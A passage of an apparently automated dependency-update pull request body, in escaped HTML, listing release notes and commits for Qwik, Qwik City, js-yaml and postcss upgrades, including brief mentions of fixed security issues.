href=\"https://redirect.github.com/QwikDev/qwik/pull/8177\"\u003e#8177\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.17.2\u003c/h2\u003e\n\u003ch2\u003e1.17.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 the bunding won't lead to circular dependencies in qwik-astro apps anymore. (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8052\"\u003e#8052\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e✨ The optimizer is now built with a recent Rust toolchain. Fresher bits! (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8040\"\u003e#8040\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.17.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/d507a08eccf3ef20e2505b3d195fbf588bd48f65\"\u003e\u003ccode\u003ed507a08\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/3efd7a57acac51a487ea6c2a39519f43dd116fc9\"\u003e\u003ccode\u003e3efd7a5\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into fix/virtual-css-dev-ssr-404\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/9163ccfc3ce1506a852300fb0d42ac6223190e82\"\u003e\u003ccode\u003e9163ccf\u003c/code\u003e\u003c/a\u003e chore(deps): bump rollup in the npm_and_yarn group across 1 directory\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/0314b61429e47ebf074619aa86fedb74cd22e11b\"\u003e\u003ccode\u003e0314b61\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into fix/deno-production-builds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/fe45eb6fdef490ff31a0c1bbb02473152b5cda45\"\u003e\u003ccode\u003efe45eb6\u003c/code\u003e\u003c/a\u003e fixup\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/cb568778560a26d439872fd50dbd2f48cd05408b\"\u003e\u003ccode\u003ecb56877\u003c/code\u003e\u003c/a\u003e fix(core): qrl importing on server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/03b590fdc952cb5991950b39b50a4b8aebdbcab4\"\u003e\u003ccode\u003e03b590f\u003c/code\u003e\u003c/a\u003e fix(qwik-city): support Deno as package manager for production builds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/63e6f5509f85f836fbcc7aa18cc6bce1c9c2916c\"\u003e\u003ccode\u003e63e6f55\u003c/code\u003e\u003c/a\u003e fix: resolve 404 for virtual CSS modules during dev SSR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/97df2e6c1c56c385d47d969dd65663c1a77b1248\"\u003e\u003ccode\u003e97df2e6\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/25dbde0fca336d65c70896a3ed34091708a78ac7\"\u003e\u003ccode\u003e25dbde0\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into upcoming\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/QwikDev/qwik/commits/@builder.io/qwik@1.19.1/packages/qwik\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@builder.io/qwik-city` from 1.4.3 to 1.19.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/releases\"\u003e\u003ccode\u003e@​builder.io/qwik-city's releases\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 When a form POST is done, keys like \u0026quot;name.1\u0026quot; mean it's an array. However, later keys could be strings like \u0026quot;name.value\u0026quot;. Now, we check if all the keys are numbers, otherwise we make an object instead of an array. This allows for more correct form data handling. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8424\"\u003e#8424\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 handle special characters in dynamic route (by \u003ca href=\"https://github.com/gioboa\"\u003e\u003ccode\u003e@​gioboa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8400\"\u003e#8400\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 Link hash change now properly updates location.url.hash (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8305\"\u003e#8305\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city@1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ allow mocking route loaders \u0026amp; actions in \u003ccode\u003eQwikCityMockProvider\u003c/code\u003e (by \u003ca href=\"https://github.com/alexismch\"\u003e\u003ccode\u003e@​alexismch\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8102\"\u003e#8102\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 qwik-city spa routeStateInternal and routeLocation url origins mismatch (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8234\"\u003e#8234\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(qwik-city): add getOrigin option to QwikCityBunOptions and QwikCityDenoOptions for improved URL handling (by \u003ca href=\"https://github.com/JerryWu1234\"\u003e\u003ccode\u003e@​JerryWu1234\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8251\"\u003e#8251\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMake RequestEvents readonly instead of frozen (by \u003ca href=\"https://github.com/DustinJSilk\"\u003e\u003ccode\u003e@​DustinJSilk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8135\"\u003e#8135\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/QwikDev/qwik/blob/@builder.io/qwik-city@1.19.2/packages/qwik-city/CHANGELOG.md\"\u003e\u003ccode\u003e@​builder.io/qwik-city's changelog\u003c/code\u003e\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.19.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 When a form POST is done, keys like \u0026quot;name.1\u0026quot; mean it's an array. However, later keys could be strings like \u0026quot;name.value\u0026quot;. Now, we check if all the keys are numbers, otherwise we make an object instead of an array. This allows for more correct form data handling. (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8424\"\u003e#8424\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 handle special characters in dynamic route (by \u003ca href=\"https://github.com/gioboa\"\u003e\u003ccode\u003e@​gioboa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8400\"\u003e#8400\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.19.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 support Deno as package manager for production builds. The Vite plugin now recognizes Deno as a Node-compatible runtime for manifest passing, and SSG delegates to the Node implementation instead of stubbing out. (by \u003ca href=\"https://github.com/ianlet\"\u003e\u003ccode\u003e@​ianlet\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8385\"\u003e#8385\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 Link hash change now properly updates location.url.hash (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8305\"\u003e#8305\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.19.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ allow mocking route loaders \u0026amp; actions in \u003ccode\u003eQwikCityMockProvider\u003c/code\u003e (by \u003ca href=\"https://github.com/alexismch\"\u003e\u003ccode\u003e@​alexismch\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8102\"\u003e#8102\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 qwik-city spa routeStateInternal and routeLocation url origins mismatch (by \u003ca href=\"https://github.com/maiieul\"\u003e\u003ccode\u003e@​maiieul\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8234\"\u003e#8234\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003efeat(qwik-city): add getOrigin option to QwikCityBunOptions and QwikCityDenoOptions for improved URL handling (by \u003ca href=\"https://github.com/JerryWu1234\"\u003e\u003ccode\u003e@​JerryWu1234\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8251\"\u003e#8251\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMake RequestEvents readonly instead of frozen (by \u003ca href=\"https://github.com/DustinJSilk\"\u003e\u003ccode\u003e@​DustinJSilk\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8135\"\u003e#8135\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.18.0\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eexecute cleanup cb for all component tree while calling dispose.cleanup method returned by render fn (by \u003ca href=\"https://github.com/sashkashishka\"\u003e\u003ccode\u003e@​sashkashishka\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8164\"\u003e#8164\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.17.2\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 history behavior in some edge cases has been brought inline with the E2E tests that were accidentally disabled. (the tests can't be disabled any more either) (by \u003ca href=\"https://github.com/wmertens\"\u003e\u003ccode\u003e@​wmertens\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://github.com/QwikDev/qwik/commit/206f3e07caad5a5736f160c09a618f348896860d\"\u003e\u003ccode\u003e206f3e0\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e🐞🩹 SPA routing is broken unless origin matches value in in vite.config \u003ca href=\"https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik-city/issues/8093\"\u003e#8093\u003c/a\u003e (by \u003ca href=\"https://github.com/termermc\"\u003e\u003ccode\u003e@​termermc\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/QwikDev/qwik/pull/8097\"\u003e#8097\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIf the SSG origin was set to \u003ccode\u003elocalhost:3000\u003c/code\u003e and a user visited from \u003ccode\u003e127.0.0.1:3000\u003c/code\u003e, SPA routing would be broken.\u003c/p\u003e\n\u003cp\u003eInternally, useNavigate's context provider \u003ccode\u003egoto\u003c/code\u003e checks the new destination with the last route location. If the\norigin is different, it just does a normal browser navigation. This makes sense; links to other origins cannot use\nSPA routing. However, the initial route it compares was using an origin that came from the server environment.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/0a5e7a4808ec0e617b27e5c827ac273f04bdaaed\"\u003e\u003ccode\u003e0a5e7a4\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/d7aee956e99b0c68782738856e4f4e55af925b58\"\u003e\u003ccode\u003ed7aee95\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/main' into upcoming\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/7b5867c3dd8925df9aa96c4296b1e95a4c2af87d\"\u003e\u003ccode\u003e7b5867c\u003c/code\u003e\u003c/a\u003e fix(qwik-city): better POST formdata array parsing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/2288d8865ea9fa4658c03a6251dcff65faf8af16\"\u003e\u003ccode\u003e2288d88\u003c/code\u003e\u003c/a\u003e chore(deps): bump svgo in the npm_and_yarn group across 1 directory\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/1aa1ad2b18d78444aeaa2f5ac045259e865bb5e0\"\u003e\u003ccode\u003e1aa1ad2\u003c/code\u003e\u003c/a\u003e fix(qwik-city): address lint issues in sitemap stream implementation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/df7dd00f0aca11dd67990cae9a98f81287d314f1\"\u003e\u003ccode\u003edf7dd00\u003c/code\u003e\u003c/a\u003e fix: handle special characters in dynamic route\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/d507a08eccf3ef20e2505b3d195fbf588bd48f65\"\u003e\u003ccode\u003ed507a08\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/03b590fdc952cb5991950b39b50a4b8aebdbcab4\"\u003e\u003ccode\u003e03b590f\u003c/code\u003e\u003c/a\u003e fix(qwik-city): support Deno as package manager for production builds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/8e866a6c074127ef1ae66787b083c7a4b99e4c04\"\u003e\u003ccode\u003e8e866a6\u003c/code\u003e\u003c/a\u003e fix(qwik-city): Link hash change does not update location.url.hash (\u003ca href=\"https://github.com/QwikDev/qwik/tree/HEAD/packages/qwik-city/issues/8305\"\u003e#8305\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/QwikDev/qwik/commit/97df2e6c1c56c385d47d969dd65663c1a77b1248\"\u003e\u003ccode\u003e97df2e6\u003c/code\u003e\u003c/a\u003e Version Packages\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/QwikDev/qwik/commits/@builder.io/qwik-city@1.19.2/packages/qwik-city\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ca href=\"https://github.com/builder\"\u003e\u003ccode\u003e@​builder\u003c/code\u003e\u003c/a\u003e.io/qwik-city since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `js-yaml` from 4.1.0 to 4.2.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nodeca/js-yaml/blob/master/CHANGELOG.md\"\u003ejs-yaml's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.2.0] - 2026-06-01\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003edocs/safety.md\u003c/code\u003e with notes about processing untrusted YAML.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003emaxDepth\u003c/code\u003e (100) loader option. Not a problem, but gives a better\nexception instead of RangeError on stack overflow.\u003c/li\u003e\n\u003cli\u003eAdded a loader option limiting merge sequence length. Not a problem after\n\u003ccode\u003emerge\u003c/code\u003e fix, but an additional restriction for safety.\u003c/li\u003e\n\u003cli\u003eAdded sourcemaps to \u003ccode\u003edist/\u003c/code\u003e builds.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStop resolving numbers with underscores as numeric scalars, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/627\"\u003e#627\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eSwitched dev toolchains to Vite / neostandard.\u003c/li\u003e\n\u003cli\u003eUpdated demo.\u003c/li\u003e\n\u003cli\u003eReorganized tests.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edist/\u003c/code\u003e files are no longer kept in the repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix parsing of properties on the first implicit block mapping key, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/62\"\u003e#62\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix trailing whitespace handling when folding flow scalar lines, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/307\"\u003e#307\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eReject top-level block scalars without content indentation, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/280\"\u003e#280\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eEnsure numbers survive round-trip, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/737\"\u003e#737\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix test coverage for issue \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/221\"\u003e#221\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix flow scalar trailing whitespace folding, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/307\"\u003e#307\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFix digits in YAML named tag handles.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix potential DoS via quadratic complexity in merge - deduplicate repeated\nelements (makes sense for malformed files \u0026gt; 10K).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[3.14.2] - 2025-11-15\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBackported v4.1.1 fix to v3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.1.1] - 2025-11-12\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix prototype pollution issue in yaml merge (\u0026lt;\u0026lt;) operator.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/590dbabadd172b099c07654fab2eabec8c7a07b9\"\u003e\u003ccode\u003e590dbab\u003c/code\u003e\u003c/a\u003e 4.2.0 released\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/f944dc5cd132251752499bdb157f33027d362177\"\u003e\u003ccode\u003ef944dc5\u003c/code\u003e\u003c/a\u003e Add package.json funding field\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/f6927192223355b64f2a6e19f3071ccc579ee718\"\u003e\u003ccode\u003ef692719\u003c/code\u003e\u003c/a\u003e Changelog update\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/9971a068fe7fb67eeedec7cf15fd2aba1b71bd79\"\u003e\u003ccode\u003e9971a06\u003c/code\u003e\u003c/a\u003e Fix digits in YAML named tag handles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/464a5b854b682691d35cc119500f74595d2e513c\"\u003e\u003ccode\u003e464a5b8\u003c/code\u003e\u003c/a\u003e Fix flow scalar trailing whitespace folding, close \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/307\"\u003e#307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/1fda4f715d368c74e6e65e44d3201946c9577e54\"\u003e\u003ccode\u003e1fda4f7\u003c/code\u003e\u003c/a\u003e Tests for \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/567\"\u003e#567\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/565\"\u003e#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/031ad079a65da5018cbe6280f3b9306e39699b5a\"\u003e\u003ccode\u003e031ad07\u003c/code\u003e\u003c/a\u003e Stop resolving numbers with underscores as numeric scalars, \u003ca href=\"https://redirect.github.com/nodeca/js-yaml/issues/627\"\u003e#627\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/e46d223b37110ec2ba5b5b1da672a8f6862832d6\"\u003e\u003ccode\u003ee46d223\u003c/code\u003e\u003c/a\u003e CI config update\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/9023feec80d19f4c39e73d1b25fc7644e93bf628\"\u003e\u003ccode\u003e9023fee\u003c/code\u003e\u003c/a\u003e Add lockfile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodeca/js-yaml/commit/990e6f4d1c51d03b53da0dc6df3c7fc0f61ad909\"\u003e\u003ccode\u003e990e6f4\u003c/code\u003e\u003c/a\u003e Docs update\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nodeca/js-yaml/compare/4.1.0...4.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.4.33 to 8.5.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca 